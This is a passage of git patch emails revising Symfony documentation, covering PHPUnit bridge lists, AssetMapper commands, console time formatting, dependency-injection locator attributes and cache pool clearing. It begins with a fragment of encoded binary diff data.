zxi?+G!eW@uiFYqrIp($qW$9{@UsAWc4f`U*xY!eIQV<M|`^^p+9o~Gz{rIeeruEt7
zAsO0kbmVm2sAXXuXPGWG&Bc&H)5?GC5RfUd;x}8|u~e~AQPIFs(*QuHrA$jLEn$kv
zLV~qcNw@{o6;nBr9MI4%V<YFS8&&?DIfeDhdSsTq>3pf3!%WJM`9SgGEP1@rQyl?C
zj)tb*yr$LI%;xRn-19X+)0m`tA2f8w`|vkFD9xZ3T{Pa?4_=Z?0gRdqiVG^j=hGP!
zz#C+u4sS0=+%v8vkj_L80hLG<<P-Cz-Ybp!(Zs85Jx1v!H<L?Py%m()B;D@jeKWIx
z?7CkTYI)pSiOvZ5SiDs|`xSf$=qZg~5avm}=-$p8KiLiblxS=C&ZH)mv9RXEi$&-~
zdo=If&gm0DPHg7d$L;ucNFJ9}kQ0Z1E{7%38?fKTi)7yNf2vyd_L{U}@_?r?CHzbP
z=lzIYL;EY-**eIpCc#G7tg)#vYHJVFC79~l*lpQx$oOp6qQYd5n7-C_?Uu@R@*!ZB
zYDdPe%cQ<6Z}<EKw?$&0aU?oJ*d097T!)1xX3o9L$4W0OK@BwTENX8S%bhonzk6^h
z;zhR1OKAW>6m~At=C}jN`ua_Ee`Hj47uT7h37;2*O`EooDc>mbbkWXln#>Agcfu}!
z3s{@yeSC{WzkJY=+5zvAE&(pKwU4g6+MeDsn+XQ?$UFDaDnj))q@#N(cnYZt-n<Wl
zzCXvfk=kM0;Y7BAr>|+%y;)Z;bsRD+SPKG7gODfdm3wn2WF<IQ5Eq-j2}~uxx3VPS
zbEgJ@6HSAlZahl8`{J9^^D35*F%=S$6XN3FD-xELrHaSk)O6;N8S!@^Hxk&^5p32W
zU|#bO58$H*0LefgFo=wd4Dch6LFoZZPIRPIXXG>og2;9KqYnoF5HcVc8IZK}<%GYB
znDaMWm_LDra|qxH4;?HH%^jd<<gwXW005;HxTO|2LkHw#J!1U%GM@k-d6JMkKnL>N
zR>#}u&RY!VOq2%vn7868IF%}G#hh}oR4O2M8D#cU#r{bNo%>chJ1~7KrWi5^u;+vf
z*cj4ZS7&0h(M{)0?^aRl);r^|kfFz@xbEbswK!}b@ruymkUEINX|%I+-a&g)rFO{%
zU?|Xv7*goGb4Mc&12Y+ZhsNE)wwAoMyVm==<dx55{rKks|G&u_V>}OC6bpt)Lc+j6
z;(~;MgaMq|OD$kcQjYutZFG%Q{e>t<=Q%kZ;|K~d2%aa@i$}SJy&E19C@Dv_p!{b@
zx(KBsjz6;Ha118%4*Jd=v|BQkT8^`$d+P*kK-QS3dM}T9r(_g-IfDAAGceM;CM!vl
zpGbWS5%ddjRBgg^L7qVpgXzkcxxe@bM+)vFa0ROsq$&=bqth{W5LtyoyU)tdw$Hpc
z8U%M+qZjR?ZU<72f}Fmj`hoUFpL-8I6FvRgt0b?eVcR`S^rwBJG}hftUsAE{bUy@S
z^v*Leovx3e&%UIVdnEUNmEu2%^eeG7D$@6U#8En>g}8R_=Y<X5wC^FJerIrdcD%8l
zZxxydCTRY&kf!t1&&!p9oV7MUP1IbEz|pW%^`@bKWJ~+^l35v@B^vVsWZnEm2Z5RK
zcRYS2=3?mo76{?2wR3)$wGSgpo|VIk-yi(G;Ny6sc}HgP<<j3|AU#i6w0=>jYSgi8
zaA9-Tr~35{+$!l}+W2=@HBn3YP*pDG;Gbp`q}>8e+ARPeatbgQOac0Jy8zN#g2=fH
zW5IM{7MUFkqIw3L+=@;L=Fa}m==6;I0!HzGU-u6X5^&(vs6-dc1^H`}<C~%HMK&0_
zo&m8+@kGmt$1|;zEuW7+_SS|c=_KU{ObAF}E*#U+31W=9+Yr@WTWA^I#o&Uecl3WQ
zN#Jd|-Gqt2382KCkI#HU=s+n3Pq8Ew3!sqs9Ow5h@%!m{J(JUe8*yXLc~i4a@xml1
z=Nbf=<1JAlieCM}N?2sZc)iWGo(Lpg3AHS5lwts5B%)N##-?>|69r1v#k?C}QhWnx
zjQqEV0<Cvc#{KewxmV=WVA7kk;3@%c7ryB#2Q<TeLhDH<y6OVL^{u3Rd8!N)m$tr`
z7b{qhd_QX4qJk>i3>Z6<{fSG{KijH8bIcfv7g?wfSR`J))m|pxi2s!5s5B;UOx-wa
z@upCdo$DzwG2}x_=ixS&xX}=xS?p={O(YK$D>d4AXs^PX^*tuib&G{-F($ao<*dsZ
z>ol>tinaB&1cpGmzk&VZg5JMCxVjL+QD?O&!nUVHee#=@mI=OQ%(9AIHh(zmF?>J%
zrvBEcZT6Ktc1qfU^2cNN33DegQPI)IqQl|C_%UaAlFwr^hLQI@``4mA`)W7a74|o<
zVJBQuQZ}Tn3ng^I1-~-HV@Kbn+%s8tfWn?p$#~Q&nfQpEDh1tB(s0|+ZsMVdv;c2J
zUrt=H@%6eBSQl;Z7Hk9E$Mzv!>{<(a9Hrr77FT%f?xtRYH9R@R72RT01poH!D`O{i
zl-Mv;4YMxnzdIJ$sVC5)v6CY7rr8#JGA^v?vQA&idwZ!5nVrX}>X=^HBN^q+NDU|2
zMan)9p%(s}*CL1hAeWjsGQ#|7ELoTLlgLY{a-naT;Y}K9#~tiu_EKZp(1n4rCMp?m
z`sfz>BDmlJjIk@8r2CM69j4YkRV<JL3lbh`>TE6(FD_glycVo<J+JvssQ6<4nyaX&
zOdDP<fXtVb)NMG~V<D?%OVU1z#^tpt#rK^(g$dQBH=2t?`cAogYu@-Y^e<KEYMx*G
zsJFFVuda40)9-V_&VaW^!ga&+6@2_eB8Ay@$?L=edpqkxK+3g#KVom`Kc!}cqT@DG
zRcB_A4)LbIeqdmWm-$1b9E7l62me0h3{r82w%s>qog@9f5jyqNt>;cW|1^6W%Ds6q
zQ^exVpU5&6{OVGZL+X&Pwhkl?gg;sEGivi^?KJ6I4G3kHI5oM{ZA*MvIMy>T0B2;V
zw{;dCn&_kQm_AvqSq3lpc%$Oe8-|5eA*VzKXS?7^*T<&3gV<~1KROkCX#f_Ktl$b<
zb@qJ{!;i~emyCbSi`;WP1aKyjzO?v%sJK9iBNg`-9hZy|2vu+b(Syn97*3i4m_&6s
ze^qixeU6meA+(8g!apTC`+m^|*oJmx@p~)`UY2pw#!hP4c0_QoD9oN<QK*^K6UEY`
z^3SH8gXxUcGH_5+#dHB`zH8O%ayvyt<h)+fQlGQk`*MeBc1~MW0m7p7z10}fw)atm
z<QE#FnN5Tp0!}K4cb-<$j(2O^;$hHHZ!ou7)Ai_jt~E=aAMtJ$Lb^^ff&^QyITVI<
zMkYNu?fgVQiC#=bMQ!@-<Z65t*<f)n7;H7TR%#}&85$s*FCN-?T3J0b0Ll^Dm9%a%
zcO_3hx96;Oj_1wAgK^|j)z{Zbs3c@!)6^TAowPnfp%SC7p6lm!=ek=-<lbiS>|Tnf
zBt+)iOG>-<Y%J`%=hCQvr)PJbfE)PEm6y7W^zv&w+^*s;{vZ@K3;yM??=~G)$q$vE
zv8T!m51xRAqS6bb)CQiU7hEI{*vzsK)KN6|Apx~Q+l@KyNCo28Pg4Hx8bh_Ye(*cW
zhV28Q7DZ$5Fw$5~0`K9BBdo_9X~?BRfGKqWsBuz#+Oi*X%hlJh2~j<phhKh2I;7+M
zI%LMb$CZ;uYl9p+fGrdEvf^E$x(ptTyCG>b30_r>TgnFdzU|Ibc-Sv|YH-VA23~(K
z0IA^+z`TMg9kl<0IOG+zbf#|4UY`CEquw9Is1y5>zp<rVnf#+GSifAIQq$DgttSn}
zs@8`Z{{wk?q(^<e|1K_m-*TkQTN@T(T+#Vy{OXNcdi+(6lHzxBw&`n6ke^=k{VhIS
z@jx%{%D+8v-;w6GsVA-I?-t@$YRr+eX&~qUWI%Ed5DcOu?Hos{E*Ss_qSw>U05foj
z8IUU)#zMI*=r~2iuQ<h-M=K~f2c+j)`WO6AbwOlDs_qscLwCl2-%y6JiHYW+_(SCk
zt$$bi`T5w-M;7|mx)B~t)y&+IvFBCZib1T(YosVY-a7j>HJzQU9jBg99W$jHcMGi(
zOCidx#j%Itc`&3pp}Rdb+lT_TPuzc}DB*15N5B*(RJqKRLA31N$5GdDh(kRnD>}(f
zbkfZAKa@h?*A*M$IDrl=EzX=QEVv7Un%n2s7TrqYLCVQ!#_>mO(Zfx;b;K$cX(#Y!
z)PQM&_6?(%M`#5}1_O2S$TV@SXC(VC46t)rMqgaF23#G~^>D2sdl|tiZR^U0aNqam
z0Eewr07xKTF2M5#7Hg7?c^}P(_^41=sinQFTr-|3F5B#PxZ;vebs6INR)lTmSdZF*
z$+=@T5xfHI)X{e1`EGaPd}Sl>6$;AXFqQTh)0M(YkXz;D?C@9)sz7f-x;zzSx`Ms=
zMXe?qSNwohIV_V88uYAlidtg{;4H~4CBmr{##a*X@S}AXzqjo+^lZ!5>?eiH25#Ec
zl^FuH!HBWADX8YN;X0ztS1I;R)8jc`RXU))E2XXqAAK}Qeww*l+Zjhgmst_OOK{N;
zIR@{LZ!AJ~w%<!Jjf@&+_s6Ik$xp%KHWSM$=spgR{(7?!jbcsr2>4{6GJUs8ok3g{
z9Rl)f5x_;_Zr`2q2VNrM;_5`(02V2UYYJ7DUK^}}7ARO|sCVMqiPAO_WYQD%Ut~T5
zr=J7`Q;hg;f0m2{$oajq?dR#{3%q@|k5gx_NFP1BjUp3ZSx#2dpyf`UP<hTBaJME=
zd{@y^5;f2kuO4~XF=h=V=&s~2+Khj<Z{Ptf*5!K?s6xCIg6BDUJ;u(aEE8qg79|~0
z6d1-b5Du#tRFXszCl2F;ur(8$Cg74m+n5syffKiYKvz$QWcevK#TK4c3+Y%&hH+Nh
zBQ2KI;B6?X*db8`6lnV(rTAW!z&@XUT1z8})4O`^vg3(FqgLBWon|iK6PF!&V>VD+
zJ+ZbEr0GamxuqD(id(doYB`c4wbVtRNGMUU=K{V|KZfcJQ9nkZ7*6Gr<pc&vcHU^G
z=<u~Th~;Nlz5khpZ&8B_Kr7d(f5hyJ8X%Sqs1II9>j927k?|?oLosvy+=d4st_r{+
z?VWpHSz48|vm<JwXV1>MLE~|$ik$`qiJ*ryNfhd9qSQ@sIKXa*?Hvi*OxZGSX&>JP
zUF}?dI4c#8d{A~wqGG3dlRn$o9AO}AFXJ>Bp&Oq~IdBb4&v{H35Um0{hXV+)kqCi%
zBsZ$tE!w73Jf&t%<%ArEp$NRc3RzdcS@rl34HP`6W{SIAC4d~>>T44_8_*<lHrQif
zr-eNoa8;xDvg;+B-64Q3OhTp2pGx%x_^UvsnnF3qhMzPx?*;kSkZ5vx=uQ|nZ%xvS
z-s(8R*w<QBd&y%iV*vVil8iE03diKs0Xf0|&_WD3OQrwqZkX#v0(~)0gEn<{Edv|+
zIWjkvlLp+N6!DI#$v`bCGc6i|@c~!g`}9TW8<z)NCFDl1@W)dY$MYZlyW-E!2kD@q
zGG}i>P8l^pKUN!6@??;!B<H2#O|HBZ2%VMMP=iC#Ku1URfuIN8i*^hiP@`w5!nK$*
zxFvJZ=;_jv<F3K_WEfU;JukP5!WrKJU{cUV+0<^@S__-Ae2)mU^GkHyTftr=U#?cA
zjf*xj?WaO*-z$M_+NBCAah{SJwj7VyI@p!r!mwOD3q0>a^bup>r{A8OvWw8S=Jtxt
zT%Jk3q0GYW;0E)Ts?6gEtZAo02}L8<Zz@n++B&Z@RC~>rc&zKYs8L!)VDUbIDQD6A
zHPV&bb~ov-XjFU<bZt9s7epOsDM1|a?tMmhnp4DU`|b0!2jWJ55us~5Ml4kE(b=@_
z!Kb7^!(w{u9$>DG5RJ+zp1xkR{!55l725~IQF%Y}AQk__JzjDpCWs-I?!%vF2clPZ
z@Si%Q*gBHLGj<vtFd~hYEJNnmzUl5;eF*1x<yoM-5xL3lTQKs8wpaGcKiUPgJb7C0
z@d4jRrhej9?S%aK7sHJCV$oC92m)7TXCdI8*WK;-cNh{}xQ|i9>|jnHw+xpj!`T%L
z5!QXtL%^B7NZ%yCC-V(REoA-1WEzfR^8QL&7wyUiuj$#4t&#Vx>vemMHxWA)2hwkU
vd7`)I3Jp)mHNW7oS+e3%tNlZO_4uc#oQR2qcFo7uT|@?nLqNXfVgG*sku`I$


From b2814587bebcb59aa5e45f28a56439cd8a50d4fa Mon Sep 17 00:00:00 2001
From: Alireza Rahmani Khalili <alirezarahmani@live.com>
Date: Sat, 7 Oct 2023 16:12:14 +0330
Subject: [PATCH 3924/5766] Update phpunit_bridge.rst

fix sub list
---
 components/phpunit_bridge.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index bdbcf885520..9faca1eaa9c 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -19,10 +19,10 @@ It comes with the following features:
 * Provides a ``ClockMock``, ``DnsMock`` and ``ClassExistsMock`` classes for tests
   sensitive to time, network or class existence;
 
-* Provides a modified version of PHPUnit that allows 1. separating the
-  dependencies of your app from those of phpunit to prevent any unwanted
-  constraints to apply; 2. running tests in parallel when a test suite is split
-  in several phpunit.xml files; 3. recording and replaying skipped tests;
+* Provides a modified version of PHPUnit that allows:
+   * separating the dependencies of your app from those of phpunit to prevent any unwanted constraints to apply; 
+   * running tests in parallel when a test suite is split in several phpunit.xml files; 
+   * recording and replaying skipped tests;
 
 * It allows to create tests that are compatible with multiple PHPUnit versions
   (because it provides polyfills for missing methods, namespaced aliases for

From 717bcf3fedf58a21411c707a71bfb8e6dc1fbd9a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Oct 2023 12:20:51 +0200
Subject: [PATCH 3925/5766] Tweak syntax

---
 components/phpunit_bridge.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 9faca1eaa9c..bfa69893bb9 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -20,9 +20,10 @@ It comes with the following features:
   sensitive to time, network or class existence;
 
 * Provides a modified version of PHPUnit that allows:
-   * separating the dependencies of your app from those of phpunit to prevent any unwanted constraints to apply; 
-   * running tests in parallel when a test suite is split in several phpunit.xml files; 
-   * recording and replaying skipped tests;
+
+  #. separating the dependencies of your app from those of phpunit to prevent any unwanted constraints to apply;
+  #. running tests in parallel when a test suite is split in several phpunit.xml files;
+  #. recording and replaying skipped tests;
 
 * It allows to create tests that are compatible with multiple PHPUnit versions
   (because it provides polyfills for missing methods, namespaced aliases for

From 50bf3ec9a444d00c9a6f0117aedcb628cbda7ed2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Oct 2023 13:09:59 +0200
Subject: [PATCH 3926/5766] [AssetMapper] Change the structure of the imortmap
 file

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 28c213c8f61..d4558a4d445 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -215,7 +215,7 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
         // ...
 
         'bootstrap' => [
-            'url' => 'https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/+esm',
+            'version' => '5.3.0',
         ],
     ];
 

From ef85a0142df132410b2a036c6fea419dfe3f7249 Mon Sep 17 00:00:00 2001
From: Maelan LE BORGNE <maelan.leborgne@sensiolabs.com>
Date: Mon, 9 Oct 2023 16:39:16 +0200
Subject: [PATCH 3927/5766] [AssetMapper] Added instruction for 'outdated'
 command

---
 frontend/asset_mapper.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 28c213c8f61..bf8459d2a96 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -248,6 +248,20 @@ computers if some files are missing.
     such as ``@popperjs/core``. The ``download`` option will download both the main
     package *and* its dependencies.
 
+You can check for available updates for your third-party packages by running :
+
+.. code-block:: terminal
+
+    # check for updates for all packages
+    $ php bin/console importmap:outdated
+
+    # check for updates for the given list of packages
+    $ php bin/console importmap:outdated bootstrap lodash
+
+.. versionadded:: 6.4
+
+    The ``importmap:outdated`` command was introduced in Symfony 6.4.
+
 To update third-party packages in your ``importmap.php`` file, run:
 
 .. code-block:: terminal

From 25ab36a37c3b58f82bead87b228a28a356d8bf55 Mon Sep 17 00:00:00 2001
From: Maximilian Beckers <beckers.maximilian@gmail.com>
Date: Tue, 10 Oct 2023 13:47:28 +0200
Subject: [PATCH 3928/5766] [Console] Helpers updated to optimize the time
 formating

---
 components/console/helpers/formatterhelper.rst | 16 ++++++++++++++++
 components/console/helpers/progressbar.rst     |  5 ++++-
 2 files changed, 20 insertions(+), 1 deletion(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 135a5898778..2a1b30a5aad 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -119,3 +119,19 @@ If you don't want to use suffix at all, pass an empty string::
     $truncatedMessage = $formatter->truncate('test', 10);
     // result: test
     // because length of the "test..." string is shorter than 10
+
+Formatting Time
+~~~~~~~~~~~~~~~
+
+Sometimes you want to format seconds to time. This is possible with the
+:method:`Symfony\\Component\\Console\\Helper\\FormatterHelper::formatTime` method.
+The first argument is the seconds to format and the second argument is the
+precision (default ``1``) of the result::
+
+    $timeString = $formatter->truncate(42);        // 42 secs
+    $timeString = $formatter->truncate(125);       // 2 mins
+    $timeString = $formatter->truncate(125, 2);    // 2 mins, 5 secs
+    $timeString = $formatter->truncate(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
+
+.. versionadded:: 6.4
+    The support for exact times were introduced in Symfony 6.4.
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 598744ab460..b1fbafa5ae0 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -243,10 +243,13 @@ current progress of the bar. Here is a list of the built-in placeholders:
 * ``memory``: The current memory usage;
 * ``message``: used to display arbitrary messages in the progress bar (as explained later).
 
+The time fields ``elapsed``, ``remaining`` and ``estimated`` are displayed with a precision of 2.
+That means `172799` seconds are displayed as ``1 day, 23 hrs`` instead of ``1 day, 23 hrs, 59 mins, 59 secs``.
+
 For instance, here is how you could set the format to be the same as the
 ``debug`` one::
 
-    $progressBar->setFormat(' %current%/%max% [%bar%] %percent:3s%% %elapsed:6s%/%estimated:-6s% %memory:6s%');
+    $progressBar->setFormat(' %current%/%max% [%bar%] %percent:3s%% %elapsed:16s%/%estimated:-16s% %memory:6s%');
 
 Notice the ``:6s`` part added to some placeholders? That's how you can tweak
 the appearance of the bar (formatting and alignment). The part after the colon

From 0eed4e60f13848dd88eb522c6a3d809b206f0272 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Oct 2023 13:54:22 +0200
Subject: [PATCH 3929/5766] Remove variable

---
 components/console/helpers/formatterhelper.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 2a1b30a5aad..25a433e583a 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -128,10 +128,10 @@ Sometimes you want to format seconds to time. This is possible with the
 The first argument is the seconds to format and the second argument is the
 precision (default ``1``) of the result::
 
-    $timeString = $formatter->truncate(42);        // 42 secs
-    $timeString = $formatter->truncate(125);       // 2 mins
-    $timeString = $formatter->truncate(125, 2);    // 2 mins, 5 secs
-    $timeString = $formatter->truncate(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
+    $formatter->truncate(42);        // 42 secs
+    $formatter->truncate(125);       // 2 mins
+    $formatter->truncate(125, 2);    // 2 mins, 5 secs
+    $formatter->truncate(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
 
 .. versionadded:: 6.4
     The support for exact times were introduced in Symfony 6.4.

From 7aeb0cd01e53ed351306324edcb86a15054191ba Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Oct 2023 13:54:37 +0200
Subject: [PATCH 3930/5766] Fix build

---
 components/console/helpers/formatterhelper.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 25a433e583a..061b7616c8d 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -134,4 +134,5 @@ precision (default ``1``) of the result::
     $formatter->truncate(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
 
 .. versionadded:: 6.4
+
     The support for exact times were introduced in Symfony 6.4.

From 148ab6975de061fea32226e2a0bcbde4f1b5c357 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Oct 2023 13:55:54 +0200
Subject: [PATCH 3931/5766] minor

---
 components/console/helpers/progressbar.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index b1fbafa5ae0..58f1fba37ff 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -243,8 +243,9 @@ current progress of the bar. Here is a list of the built-in placeholders:
 * ``memory``: The current memory usage;
 * ``message``: used to display arbitrary messages in the progress bar (as explained later).
 
-The time fields ``elapsed``, ``remaining`` and ``estimated`` are displayed with a precision of 2.
-That means `172799` seconds are displayed as ``1 day, 23 hrs`` instead of ``1 day, 23 hrs, 59 mins, 59 secs``.
+The time fields ``elapsed``, ``remaining`` and ``estimated`` are displayed with
+a precision of 2. That means ``172799`` seconds are displayed as
+``1 day, 23 hrs`` instead of ``1 day, 23 hrs, 59 mins, 59 secs``.
 
 For instance, here is how you could set the format to be the same as the
 ``debug`` one::

From 528cbda9f2934ed5d9624d27c6d62a10c712a8e6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 5 Oct 2023 11:29:48 +0200
Subject: [PATCH 3932/5766] [DependencyInjection] Update  syntax for
 `#[AutowireLocator]` and add `#[AutowireIterator]`

---
 reference/attributes.rst                      |  1 +
 .../service_subscribers_locators.rst          | 52 +++++++++++++------
 2 files changed, 38 insertions(+), 15 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index ad71f229889..841bd56e2bb 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -38,6 +38,7 @@ Dependency Injection
 * :ref:`Autowire <autowire-attribute>`
 * :ref:`AutowireCallable <autowiring_closures>`
 * :doc:`AutowireDecorated </service_container/service_decoration>`
+* :doc:`AutowireIterator <service-locator_autowire-iterator>`
 * :ref:`AutowireLocator <service-locator_autowire-locator>`
 * :ref:`AutowireServiceClosure <autowiring_closures>`
 * :ref:`Exclude <service-psr4-loader>`
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 9cd47eaabc2..a39ccfb4a68 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -298,9 +298,10 @@ This is done by having ``getSubscribedServices()`` return an array of
     The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``.
 
 .. _service-locator_autowire-locator:
+.. _service-locator_autowire-iterator:
 
-The AutowireLocator attribute
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The AutowireLocator and AutowireIterator Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Another way to define a service locator is to use the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
@@ -317,8 +318,11 @@ attribute::
     class CommandBus
     {
         public function __construct(
-            #[AutowireLocator(FooHandler::class, BarHandler::class)]
-            private ContainerInterface $locator,
+            #[AutowireLocator([
+                FooHandler::class,
+                BarHandler::class,
+            ])]
+            private ContainerInterface $handlers,
         ) {
         }
 
@@ -326,8 +330,8 @@ attribute::
         {
             $commandClass = get_class($command);
 
-            if ($this->locator->has($commandClass)) {
-                $handler = $this->locator->get($commandClass);
+            if ($this->handlers->has($commandClass)) {
+                $handler = $this->handlers->get($commandClass);
 
                 return $handler->handle($command);
             }
@@ -335,8 +339,10 @@ attribute::
     }
 
 Just like with the ``getSubscribedServices()`` method, it is possible
-to define aliased services thanks to named arguments, as well as optional
-services::
+to define aliased services thanks to the array keys, as well as optional
+services, plus you can nest it with
+:class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService`
+attribute::
 
     // src/CommandBus.php
     namespace App;
@@ -345,23 +351,25 @@ services::
     use App\CommandHandler\BazHandler;
     use App\CommandHandler\FooHandler;
     use Psr\Container\ContainerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
     use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
 
     class CommandBus
     {
         public function __construct(
-            #[AutowireLocator(
-                fooHandlerAlias: FooHandler::class,
-                barHandlerAlias: BarHandler::class,
-                optionalBazHandlerAlias: '?'.BazHandler::class
-            )]
-            private ContainerInterface $locator,
+            #[AutowireLocator([
+                'foo' => FooHandler::class,
+                'bar' => new SubscribedService(type: 'string', attributes: new Autowire('%some.parameter%')),
+                'optionalBaz' => '?'.BazHandler::class,
+            ])]
+            private ContainerInterface $handlers,
         ) {
         }
 
         public function handle(Command $command): mixed
         {
-            $fooHandler = $this->locator->get('fooHandlerAlias');
+            $fooHandler = $this->handlers->get('foo');
 
             // ...
         }
@@ -373,6 +381,20 @@ services::
     :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
     attribute was introduced in Symfony 6.4.
 
+.. note::
+
+    To receive an iterable instead of a service locator, you can switch the
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
+    attribute to
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
+    attribute.
+
+    .. versionadded:: 6.4
+
+        The
+        :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
+        attribute was introduced in Symfony 6.4.
+
 .. _service-subscribers-locators_defining-service-locator:
 
 Defining a Service Locator

From bed77a4cafc2cb2a293c19b2533068106ebe74e6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 11 Oct 2023 08:41:06 +0200
Subject: [PATCH 3933/5766] Minor tweak

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index d38363a1fe0..cb72e5e2460 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -248,7 +248,7 @@ computers if some files are missing.
     such as ``@popperjs/core``. The ``download`` option will download both the main
     package *and* its dependencies.
 
-You can check for available updates for your third-party packages by running :
+You can check for available updates for your third-party packages by running:
 
 .. code-block:: terminal
 

From cc7ac50ebdd2e5590ae8dd618f5a774a26e3b580 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Fri, 21 Jul 2023 12:10:07 +0200
Subject: [PATCH 3934/5766] =?UTF-8?q?[Cache]=20Document=20`cache:pool:clea?=
 =?UTF-8?q?r`=E2=80=99s=20new=20`--exclude`=20option?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 cache.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/cache.rst b/cache.rst
index 24b3ebda973..3d1fc32a9cc 100644
--- a/cache.rst
+++ b/cache.rst
@@ -740,6 +740,16 @@ Clear all cache pools:
 
     The ``--all`` option was introduced in Symfony 6.3.
 
+Clear all cache pools except some:
+
+.. code-block:: terminal
+
+    $ php bin/console cache:pool:clear --all --exclude=my_cache_pool --exclude=another_cache_pool
+
+.. versionadded:: 6.4
+
+    The ``--exclude`` option was introduced in Symfony 6.4.
+
 Clear all caches everywhere:
 
 .. code-block:: terminal

From 2da09d563ddd0179c0f1e05b4cc3e40a27762106 Mon Sep 17 00:00:00 2001
From: alexandre-castelain <alexandre.castelain@fulgens.be>
Date: Wed, 11 Oct 2023 16:35:03 +0200
Subject: [PATCH 3935/5766] Forgot imports

---
 serializer/custom_normalizer.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index f3c099e6466..577d993e774 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -19,6 +19,8 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
 
     use App\Entity\Topic;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
+    use Symfony\Component\Serializer\Normalizer\NormalizerAwareInterface;
+    use Symfony\Component\Serializer\Normalizer\NormalizerAwareTrait;
     use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
 

From 478dbda1a233505cb52c261e7a30b408b305bd25 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?=
 <1880467+jschaedl@users.noreply.github.com>
Date: Thu, 12 Oct 2023 10:39:40 +0200
Subject: [PATCH 3936/5766] Add implements ProcessorInterface

---
 logging/processors.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 8d79e839243..d99a132b4af 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -20,10 +20,11 @@ using a processor::
